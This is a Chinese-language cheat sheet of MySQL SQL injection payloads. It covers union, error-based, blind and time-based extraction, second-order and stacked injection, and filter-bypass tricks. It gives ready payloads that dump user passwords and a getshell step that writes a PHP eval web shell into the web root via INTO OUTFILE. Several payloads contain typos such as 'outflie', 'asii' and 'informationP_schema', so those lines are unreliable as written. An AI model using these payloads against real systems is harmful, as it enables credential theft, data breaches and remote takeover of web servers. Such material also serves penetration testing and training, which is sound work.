一、有回显注入
1.信息收集
当发现存在sql注入后,首先应该进行查看数据库版本信息以及系统信息,确定后期渗透路径。
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
2.Union Select 注入
查询全部数据库名
schema_name from information_schema.schemata limit 0,1// 或schema_name from information_schema.schemata(可多行显示的情况下)
group_concat(schema_name) from information_schema.schemata
查寻表名
table_name from information_schema.tables where table_schema='数据库名' limit 1,1或 table_name from information_schema.tables where table_schema='数据库名'group_concat(table_name) from information_schema.tables where table_schema='数据库名'//单引号可替换编码处理,如hex编码
查字段
column_name from information_schema.columns where table_name='表名' and table_schema='库名' limit 0,1 column_name from information_schema.columns where table_name='表名' and table_schema='库名' group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='数据库名'
group_concat(column_name) from information_schema.columns where table_name='表名'
查询数据库
select 1,2,3,字段1,5,字段2,7,8 from 数据库.表
union select 1,group_concat(username),group_concat(password) from 表名
group_concat(id,username,password) from 表名
getshell
想要在数据库写入 shell必要条件有读写权限,以及已知路径
绝对路径:可以通过报错,404等界面获得。
查看读写是否开启:
@@global.secure_file_priv secure_file_priv的值为null,表示限制mysqld不允许导入/导出 secure_file_priv的值为D:/,表示限制mysqld的导入/导出只能发生在D盘目录下 secure_file_priv没有具体值时,表示不对mysqld的导入/导出做限制
读文件:
load_file('c:/inetpub/wwwroot/index.php')
写文件:
"<?php @eval($_GET[x]);?>" into outfile 'C:/Inetpub/wwwroot/cc.php'
EG:
首先查看可写入路径
尝试写入phpinfo 使用函数 union select <?php phpinfo()?> into outflie '/var/masql-files/info.php'
使用load_file函数读取:union select out_file ('var/mysql-files/info.php')
3、报错注入
floor(rand(0))报错
count();统计该列有几条数据 rand():产生0-1随机数 floor():向下取整函数 floor(rand(0)*2),为固定值0,1,1,0,1 group by :根据某一列排序,改列必须出现在前面查询的内容 concat(a,b):将a,b连接起来
limit(0,1):从第0个位置开始读取一个。 完整报错语句:union select count(*),concat((select database()),floor(rand(0))) as a from information_schema.tables group by a
读取数据库: union select null,count(*),concat((select schema_name from information_schema.schemata limit 0,1),'---',floor(rand(0)*2)) as a from information_schema.schemata group by a--+
读取表:union select null,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),'---',floor(rand(0)*2)) as a from information_schema.tables group by a--+
读取字段:union select null,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),'---',floor(rand(0)*2)) as a from information_schema.tables group by a--+
读取值:union select null,count(*),concat((select password from users limit 0,1),'---',floor(rand(0)*2)) as a from information_schema.tables group by a--+
updatexml函数报错
updatexml()是更新xml文档的函数 语法 updatexml(目标xml文档,xml路径,更新的内容) UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称 第二个参数:XPath_string (Xpath格式的字符串) 第三个参数:new_value,String格式,替换查找到的符合条件的数据 其中第二个参数 “xml路径” 必须是遵循/xxxx/xxxx/xxxx这种格式的,x处是啥是几位都无所谓,只要你遵循了这个格式,即使没查到也不会报错,所以只要让第二个参数不满足条件,就会报错。
查询当前数据库:and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
查询数据库中的表:and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+
查询表中的字段:and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x7e),1)--+
读取值:and updatexml(1,concat(0x7e,(select group_concat(username,':',password,'---') from users),0x7e),1)--
extractvalue()报错注入
extractvalue()是一个对XML文档进行查询的函数 语法 extractvalue(目标xml文档,xml路径) 其中第二个参数 “xml路径” 必须是遵循/xxxx/xxxx/xxxx这种格式的,x处是啥是几位都无所谓,只要你遵循了这个格式,即使没查到也不会报错,所以只要让第二个参数不满足条件,就会报错 extractvalue()能查询字符串的最大长度为32,如果想要的结果超过32,就需要用substring()函数截取,一次查看32位
查询数据库:and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
查询表名:and extractvalue(1,concat(1,(select table_name from informationP_schema.tables where table_schema=database() limit 3,1),1))--+
查寻列名:and extractvalue(1,concat(1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1))--+
查询字段:and extractvalue(1,concat(1,(select password from users limit 0,1),1))--+
4、布尔型盲注
substr(a,b) #截取字符串,从第a个开始截取b个字符串
length(a)#判断a的长度,a可以为函数
获取数据库名:
判断数据库长度: and length(database())>3--+ 猜解数据库名: and asii(substr((select database()),1,1))>100 and substr((select database()),1,1)='s'
获取表名:
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100
and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='s'
获取字段
and ascii(substr((select column_name from information_schema.columns where table_column=database() and table_name='users' limit 0,1),1,1))>100 and substr((select table_name from information_schema.columns where table_column=database() and table_name='users' limit 0,1),1,1)='s'
获取值
and ascii(substr((select password from users limit 0,1),1,1))>100 and substr((select password from users limit 1,1),1,1)='s'
5、二次注入
原理
再注册处不存在注入,对单引号或双引号做了转义,在登录或者其它查询处存在注入 条件一:需要有出入语句或者更新语句 inset into users(username,password) values($username,$password); //此处对username、password做了字符转义,不存在注入 条件二:需要有查询处,且查询地方没有做过滤 select * from users where username=$username;//此处username一般是从cookies中获取,没对字符转义。
·
6、update注入
在注册用户或写入内容处容易出现update注入,通过写入sql语句,在回显处查看注入的内容。
insert into uers(admin,password) values($username,$password)
写入的语句白被直接执行后将结果放到values。
7、堆叠注入
与正常注入无异,在闭合后可使用分号同时执行两条或多条sql'语句
8、延时注入
if(substr((select database()),1,1)='s',sleep(5),sleep(1))
9、注入绕过
空格绕过:
%0a,%0b,%0c,%0d,%a0,%20,%00,/**/,/*!*/,%09,+,()
引号绕过:
select username from 'users'//可将users替换为16进制来绕过单引号,select username from 0x7573657273
逗号过滤:
from for绕过
limit 1,1等价于from 1 for 1
substr((select database()),1,1)等价于substr((select database())from 1 for 1)
join绕过
union select 1,2等价于union select * (select 1)a join (select 2)b
and or xor not绕过:
and &&
or ||
xor |
not |
#绕过
%23
-- -
-- +
--
or '1'='1
常见语句绕过:
大小写
注释绕过 sele/**/ct uni/**/on
内联注释 /*!union*/ select
双写绕过
编码绕过 url\hex\ascii\16进制
等价函数:
hex()\bin()==>ascii()
sleep()==>benchmark()
concat_ws==>group_concat()
mid(),substr()==>substring() left() right()
@@user==>user()
@@datadir==>datadir()